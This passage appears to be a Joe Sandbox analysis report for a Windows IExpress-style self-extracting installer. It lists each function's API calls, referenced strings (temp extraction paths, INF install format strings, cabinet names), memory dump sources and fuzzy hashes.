Version, xrefs: 00007FF7E6E81930
DefaultInstall, xrefs: 00007FF7E6E818DC
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7E6E817B0
setupapi.dll, xrefs: 00007FF7E6E819BA
AdvancedINF, xrefs: 00007FF7E6E81929
Command.com /c %s, xrefs: 00007FF7E6E81A60
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00007FF7E6E819CE
setupx.dll, xrefs: 00007FF7E6E819A5
Reboot, xrefs: 00007FF7E6E818EB
.INF, xrefs: 00007FF7E6E8181A
.BAT, xrefs: 00007FF7E6E81A31

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: .BAT$.INF$AdvancedINF$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-981289760
Opcode ID: 137c5f28b5b86e8721d426d5fc1592b78fb4194462560af86aa0c2ab9f656457
Instruction ID: b440b852abc71ed7948fd6c0c004b6f8ac804348998c73f3bd6066376c63e359
Opcode Fuzzy Hash: 137c5f28b5b86e8721d426d5fc1592b78fb4194462560af86aa0c2ab9f656457
Instruction Fuzzy Hash: F0E17D62A287C285EB11AB14E8443FBA7A1FB45B84FD84136DA8D0B7D5DF3DD509C311

Function 00007FF7E6E866C4 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 299
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7E6E85050: FindResourceA.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E85078
Part of subcall function 00007FF7E6E85050: SizeofResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E85089
Part of subcall function 00007FF7E6E85050: FindResourceA.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850AF
Part of subcall function 00007FF7E6E85050: LoadResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850C0
Part of subcall function 00007FF7E6E85050: LockResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850CF
Part of subcall function 00007FF7E6E85050: memcpy_s.MSVCRT ref: 00007FF7E6E850EE
Part of subcall function 00007FF7E6E85050: FreeResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850FD

LocalAlloc.KERNEL32 ref: 00007FF7E6E86710
lstrcmpA.KERNEL32 ref: 00007FF7E6E867AF
LocalFree.KERNEL32 ref: 00007FF7E6E867D6
LocalFree.KERNEL32 ref: 00007FF7E6E8678D

Part of subcall function 00007FF7E6E84DCC: LoadStringA.USER32 ref: 00007FF7E6E84E60
Part of subcall function 00007FF7E6E84DCC: MessageBoxA.USER32 ref: 00007FF7E6E84EA0

Part of subcall function 00007FF7E6E87700: GetLastError.KERNEL32 ref: 00007FF7E6E87704

GetTempPathA.KERNEL32 ref: 00007FF7E6E86862
GetDriveTypeA.KERNEL32 ref: 00007FF7E6E868FE
GetFileAttributesA.KERNEL32 ref: 00007FF7E6E8691B
GetDiskFreeSpaceA.KERNEL32 ref: 00007FF7E6E86973
MulDiv.KERNEL32 ref: 00007FF7E6E86996
GetWindowsDirectoryA.KERNEL32 ref: 00007FF7E6E86A0A
GetFileAttributesA.KERNEL32 ref: 00007FF7E6E86A2F
CreateDirectoryA.KERNEL32 ref: 00007FF7E6E86A47
SetFileAttributesA.KERNEL32 ref: 00007FF7E6E86A77
GetWindowsDirectoryA.KERNEL32 ref: 00007FF7E6E86AE3

Part of subcall function 00007FF7E6E87AC8: FindResourceA.KERNEL32 ref: 00007FF7E6E87AF2
Part of subcall function 00007FF7E6E87AC8: LoadResource.KERNEL32 ref: 00007FF7E6E87B09
Part of subcall function 00007FF7E6E87AC8: DialogBoxIndirectParamA.USER32 ref: 00007FF7E6E87B3F
Part of subcall function 00007FF7E6E87AC8: FreeResource.KERNEL32 ref: 00007FF7E6E87B51

Strings

Z, xrefs: 00007FF7E6E868EE
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7E6E8684F
A:\, xrefs: 00007FF7E6E868AD
RUNPROGRAM, xrefs: 00007FF7E6E866F8, 00007FF7E6E86759
<None>, xrefs: 00007FF7E6E867A5
msdownld.tmp, xrefs: 00007FF7E6E86A16

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Resource$Free$AttributesDirectoryFileFindLoadLocal$Windows$AllocCreateDialogDiskDriveErrorIndirectLastLockMessageParamPathSizeofSpaceStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 3973824516-1216675450
Opcode ID: 10e5a1de4704b11e57effca18463699361e379a5f0e914d5799a333e44746406
Instruction ID: 451cc461acf7ff4e818d2a90f9e56dcc5b67a5be10a395c6e0615d5b0f7be54b
Opcode Fuzzy Hash: 10e5a1de4704b11e57effca18463699361e379a5f0e914d5799a333e44746406
Instruction Fuzzy Hash: D3D14322A286C286EB10AB14AC5077BE7A1FB85F44FD84136DACD4B6D5DF3DD405C722

Function 00007FF7E6E82DB4 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 179
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF7E6E82E08
memset.MSVCRT ref: 00007FF7E6E82E1C

Part of subcall function 00007FF7E6E85050: FindResourceA.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E85078
Part of subcall function 00007FF7E6E85050: SizeofResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E85089
Part of subcall function 00007FF7E6E85050: FindResourceA.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850AF
Part of subcall function 00007FF7E6E85050: LoadResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850C0
Part of subcall function 00007FF7E6E85050: LockResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850CF
Part of subcall function 00007FF7E6E85050: memcpy_s.MSVCRT ref: 00007FF7E6E850EE
Part of subcall function 00007FF7E6E85050: FreeResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850FD

CreateEventA.KERNEL32 ref: 00007FF7E6E82E59
SetEvent.KERNEL32 ref: 00007FF7E6E82E6F
CreateMutexA.KERNEL32 ref: 00007FF7E6E82F06
GetLastError.KERNEL32 ref: 00007FF7E6E82F22
FindResourceExA.KERNEL32 ref: 00007FF7E6E82FEE
LoadResource.KERNEL32 ref: 00007FF7E6E83005

Part of subcall function 00007FF7E6E83BF4: GetVersionExA.KERNEL32 ref: 00007FF7E6E83C3F

#17.COMCTL32 ref: 00007FF7E6E8301D
CloseHandle.KERNEL32 ref: 00007FF7E6E82F88

Part of subcall function 00007FF7E6E84DCC: LoadStringA.USER32 ref: 00007FF7E6E84E60
Part of subcall function 00007FF7E6E84DCC: MessageBoxA.USER32 ref: 00007FF7E6E84EA0

Strings

TITLE, xrefs: 00007FF7E6E82E37
INSTANCECHECK, xrefs: 00007FF7E6E82EE0
, xrefs: 00007FF7E6E82F6F
Adv, xrefs: 00007FF7E6E82E30, 00007FF7E6E82F38
EXTRACTOPT, xrefs: 00007FF7E6E82E86
VERCHECK, xrefs: 00007FF7E6E82FE4

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Resource$FindLoad$CreateEventmemset$CloseErrorFreeHandleLastLockMessageMutexSizeofStringVersionmemcpy_s
String ID: $Adv$EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK
API String ID: 3100096412-78895606
Opcode ID: 56b820130d1ad660dfa8e8d0e421b62bbaab1ba59714ea7f7ec2c9c3d28285f9
Instruction ID: 0d24ba6da8cd8088c4a2a4e68d2ab880634dbe1c1d19188719193a0d5ab615ed
Opcode Fuzzy Hash: 56b820130d1ad660dfa8e8d0e421b62bbaab1ba59714ea7f7ec2c9c3d28285f9
Instruction Fuzzy Hash: B0816E21E286C386F720BB54AC0177BE690BB95F54FD84037D98E4A6E5DF3CA405CB22

Function 00007FF7E6E86CA4 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 215
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32 ref: 00007FF7E6E86CEE
SetCurrentDirectoryA.KERNELBASE ref: 00007FF7E6E86CFD
GetDiskFreeSpaceA.KERNELBASE ref: 00007FF7E6E86D6C
MulDiv.KERNEL32 ref: 00007FF7E6E86D98
GetVolumeInformationA.KERNELBASE ref: 00007FF7E6E86DD6
memset.MSVCRT ref: 00007FF7E6E86DF4
GetLastError.KERNEL32 ref: 00007FF7E6E86E04
FormatMessageA.KERNEL32 ref: 00007FF7E6E86E2F
SetCurrentDirectoryA.KERNEL32 ref: 00007FF7E6E86FDD

Part of subcall function 00007FF7E6E84DCC: LoadStringA.USER32 ref: 00007FF7E6E84E60
Part of subcall function 00007FF7E6E84DCC: MessageBoxA.USER32 ref: 00007FF7E6E84EA0

Part of subcall function 00007FF7E6E87700: GetLastError.KERNEL32 ref: 00007FF7E6E87704

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7E6E86CBA

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 4237285672-1955631000
Opcode ID: 49cd0adaaefc1983ba8fc555e95bfd9e5a633419e36afff043da1f8bde31fc7d
Instruction ID: e9015b8092fdb04f8612f7bfadad28fc1092abbd61df13095deb76661ce63362
Opcode Fuzzy Hash: 49cd0adaaefc1983ba8fc555e95bfd9e5a633419e36afff043da1f8bde31fc7d
Instruction Fuzzy Hash: 99A16436A2878186E720AF14E84476BFBA1FB89B44F984136DA8D4BBD4DF3CD405CB11

Function 00007FF7E6E85D90 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 124
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7E6E85050: FindResourceA.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E85078
Part of subcall function 00007FF7E6E85050: SizeofResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E85089
Part of subcall function 00007FF7E6E85050: FindResourceA.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850AF
Part of subcall function 00007FF7E6E85050: LoadResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850C0
Part of subcall function 00007FF7E6E85050: LockResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850CF
Part of subcall function 00007FF7E6E85050: memcpy_s.MSVCRT ref: 00007FF7E6E850EE
Part of subcall function 00007FF7E6E85050: FreeResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850FD

FindResourceA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF7E6E83300), ref: 00007FF7E6E85DC0
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF7E6E83300), ref: 00007FF7E6E85DD1
LockResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF7E6E83300), ref: 00007FF7E6E85DE0
GetDlgItem.USER32 ref: 00007FF7E6E85E0D
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF7E6E83300), ref: 00007FF7E6E85E1E
GetDlgItem.USER32 ref: 00007FF7E6E85E36
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF7E6E83300), ref: 00007FF7E6E85E4A
#20.CABINET ref: 00007FF7E6E85EBD
#22.CABINET ref: 00007FF7E6E85F03
#23.CABINET ref: 00007FF7E6E85F18
FreeResource.KERNEL32 ref: 00007FF7E6E85F61
SendMessageA.USER32 ref: 00007FF7E6E85FC3

Strings

CABINET, xrefs: 00007FF7E6E85D9D, 00007FF7E6E85DB7
*MEMCAB, xrefs: 00007FF7E6E85EF4

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 167cfbe3481d2c55deda2959b4f60fab9ca519b6d8b495f465010a09c29e0748
Instruction ID: 32b065744f6efedf3d1370fa4dfe2a8953d256439e8a1c0a2f2ab2f6702bbd97
Opcode Fuzzy Hash: 167cfbe3481d2c55deda2959b4f60fab9ca519b6d8b495f465010a09c29e0748
Instruction Fuzzy Hash: 4D51FB31A28B8286EB50AB14AC54776E7A0FB89F45FD84137D98E4A6D5DF3CE005C722

Function 00007FF7E6E830EC Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 151
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32 ref: 00007FF7E6E83167
LoadLibraryA.KERNEL32 ref: 00007FF7E6E8318B
GetProcAddress.KERNEL32 ref: 00007FF7E6E831A9
DecryptFileA.ADVAPI32 ref: 00007FF7E6E831C3
FreeLibrary.KERNEL32 ref: 00007FF7E6E831CC
GetWindowsDirectoryA.KERNEL32 ref: 00007FF7E6E831FD

Part of subcall function 00007FF7E6E860A4: LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF7E6E83123), ref: 00007FF7E6E860C9

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7E6E831BC, 00007FF7E6E83273
advapi32.dll, xrefs: 00007FF7E6E83173
DecryptFileA, xrefs: 00007FF7E6E8319F

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocDecryptFileFreeLoadLocalProcSystemWindows
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$DecryptFileA$advapi32.dll
API String ID: 3010855178-3095882572
Opcode ID: 1b568c9d80e1c16c25a8832b7560ad1fe553b1887f492639f14b46a0c907384f
Instruction ID: cf554f752fc84ecac0340fbd414b3c25bcfb801531d2c7278e96a9f479bb106f
Opcode Fuzzy Hash: 1b568c9d80e1c16c25a8832b7560ad1fe553b1887f492639f14b46a0c907384f
Instruction Fuzzy Hash: 87711A20E6C6C286FA60BB54AD45377E695BFA5F40FC84037D9CD4A2E1DE3CE8048662

Function 00007FF7E6E864E4 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 123
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,0000000A,00007FF7E6E82CE1), ref: 00007FF7E6E8657C
CreateDirectoryA.KERNEL32(?,?,?,?,?,?,0000000A,00007FF7E6E82CE1), ref: 00007FF7E6E8662F
RemoveDirectoryA.KERNEL32(?,?,?,?,?,?,0000000A,00007FF7E6E82CE1), ref: 00007FF7E6E8666F

Part of subcall function 00007FF7E6E863B8: RemoveDirectoryA.KERNELBASE(0000000A,00007FF7E6E82CE1), ref: 00007FF7E6E86423
Part of subcall function 00007FF7E6E863B8: GetFileAttributesA.KERNELBASE ref: 00007FF7E6E86432
Part of subcall function 00007FF7E6E863B8: GetTempFileNameA.KERNEL32 ref: 00007FF7E6E8645B
Part of subcall function 00007FF7E6E863B8: DeleteFileA.KERNEL32 ref: 00007FF7E6E86473
Part of subcall function 00007FF7E6E863B8: CreateDirectoryA.KERNEL32 ref: 00007FF7E6E86484

Strings

alpha, xrefs: 00007FF7E6E865A9
ppc, xrefs: 00007FF7E6E865A0
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7E6E86528, 00007FF7E6E865DF
i386, xrefs: 00007FF7E6E865BB
mips, xrefs: 00007FF7E6E865B2

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-3881341942
Opcode ID: 46ce37abadc5027e1bb67ef9580c9553c9e3bc3d3873299fa6b8c7dc3ad8012b
Instruction ID: bfa041b1a294fb87adea056bc2d3b95aed50331e682c26a3b001734109fa9470
Opcode Fuzzy Hash: 46ce37abadc5027e1bb67ef9580c9553c9e3bc3d3873299fa6b8c7dc3ad8012b
Instruction Fuzzy Hash: 3D515B61A397C281EA51AB25AC103BBE7A1BF45F40FDC4537C98E4A6D5DF3CE404C622

Function 00007FF7E6E82C54 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 84
libraryloadershutdownCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 00007FF7E6E82C69
GetModuleHandleW.KERNEL32 ref: 00007FF7E6E82C86
GetProcAddress.KERNEL32 ref: 00007FF7E6E82CA1
ExitWindowsEx.USER32 ref: 00007FF7E6E82D6C
CloseHandle.KERNEL32 ref: 00007FF7E6E82D8B

Strings

HeapSetInformation, xrefs: 00007FF7E6E82C97
@, xrefs: 00007FF7E6E82D45
Kernel32.dll, xrefs: 00007FF7E6E82C7F

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Handle$AddressCloseExitModuleProcVersionWindows
String ID: @$HeapSetInformation$Kernel32.dll
API String ID: 1302179841-1204263913
Opcode ID: d0bfb26a70778e8c6dce021e27be85d7a0cec3bff586eb98b8bfca0f5ba54e91
Instruction ID: 2a6f9875925b07cec0a5f08d9c86570c7a5823e646f84dd5860e909fbc7a31e6
Opcode Fuzzy Hash: d0bfb26a70778e8c6dce021e27be85d7a0cec3bff586eb98b8bfca0f5ba54e91
Instruction Fuzzy Hash: 6E312D21E287C28AFA607B60AC45377EA90BF55F50FCC4137D98D0A6D5CF3CE8408A62

Function 00007FF7E6E8204C Relevance: 12.1, APIs: 8, Instructions: 119filestringCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE ref: 00007FF7E6E820E5
lstrcmpA.KERNEL32 ref: 00007FF7E6E82144
lstrcmpA.KERNEL32 ref: 00007FF7E6E82164
SetFileAttributesA.KERNEL32 ref: 00007FF7E6E821BD
DeleteFileA.KERNEL32 ref: 00007FF7E6E821CD
FindNextFileA.KERNELBASE ref: 00007FF7E6E821E1
FindClose.KERNELBASE ref: 00007FF7E6E821F8
RemoveDirectoryA.KERNELBASE ref: 00007FF7E6E82207

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 443ad30fadf752f4578cad6f697bceb18b99ad69543bd59e09de2f484cdf82b3
Instruction ID: 7f46f6b7141761435a5cbfc99fa211953e4e209384735cd01d1f59057ad76700
Opcode Fuzzy Hash: 443ad30fadf752f4578cad6f697bceb18b99ad69543bd59e09de2f484cdf82b3
Instruction Fuzzy Hash: CD518031A28AC189EB11AF20DC543EAA7A1FB45F84FC84172DA8E0B6D5DF3CD909C351

Function 00007FF7E6E87AC8 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32 ref: 00007FF7E6E87AF2
LoadResource.KERNEL32 ref: 00007FF7E6E87B09
DialogBoxIndirectParamA.USER32 ref: 00007FF7E6E87B3F
FreeResource.KERNEL32 ref: 00007FF7E6E87B51

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 05ae3199707917ede6f93554733ac842423239086612fc629f4ab3851e21dd44
Instruction ID: 451d40668e51cb6a3f42b7f68be250edbfb69874a0d6f81c16184c4fdcf21026
Opcode Fuzzy Hash: 05ae3199707917ede6f93554733ac842423239086612fc629f4ab3851e21dd44
Instruction Fuzzy Hash: E2115431A18B8186EA109B15F84426AFAA1FB49FE1F8C4735DE9D0B7D4DF3CD4408B10

Function 00007FF7E6E83910 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 119
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TerminateThread.KERNELBASE ref: 00007FF7E6E83964
ResetEvent.KERNEL32 ref: 00007FF7E6E8398C
SetEvent.KERNEL32 ref: 00007FF7E6E839D3
GetDesktopWindow.USER32 ref: 00007FF7E6E83A18
GetDlgItem.USER32 ref: 00007FF7E6E83A42
SendMessageA.USER32 ref: 00007FF7E6E83A5F
GetDlgItem.USER32 ref: 00007FF7E6E83A70
SendMessageA.USER32 ref: 00007FF7E6E83A8F
SetWindowTextA.USER32 ref: 00007FF7E6E83AA5
CreateThread.KERNELBASE ref: 00007FF7E6E83AD0
EndDialog.USER32 ref: 00007FF7E6E83B1A

Strings

, xrefs: 00007FF7E6E839B6
Adv, xrefs: 00007FF7E6E83A9B

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: EventItemMessageSendThreadWindow$CreateDesktopDialogResetTerminateText
String ID: $Adv
API String ID: 2654313074-3776740653
Opcode ID: 00a4735194eecac90b7f23e95863fe14a5468c5ab709964e4691a7869e5d0189
Instruction ID: 5bdec61aa559caefa4458b978a4d189e2463950ff6355757c8a7fb3f3413f61f
Opcode Fuzzy Hash: 00a4735194eecac90b7f23e95863fe14a5468c5ab709964e4691a7869e5d0189
Instruction Fuzzy Hash: 55517431D18AC286E7106B55ED4437AEA61FB89F55F889233C99E0BBD4CF3C94458712

Function 00007FF7E6E861EC Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 97
registryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNELBASE ref: 00007FF7E6E86231
DeleteFileA.KERNELBASE ref: 00007FF7E6E86240
LocalFree.KERNEL32 ref: 00007FF7E6E86253
LocalFree.KERNEL32 ref: 00007FF7E6E86262
SetCurrentDirectoryA.KERNELBASE ref: 00007FF7E6E862FB
RegOpenKeyExA.KERNELBASE ref: 00007FF7E6E8634E
RegDeleteValueA.KERNELBASE ref: 00007FF7E6E8636A
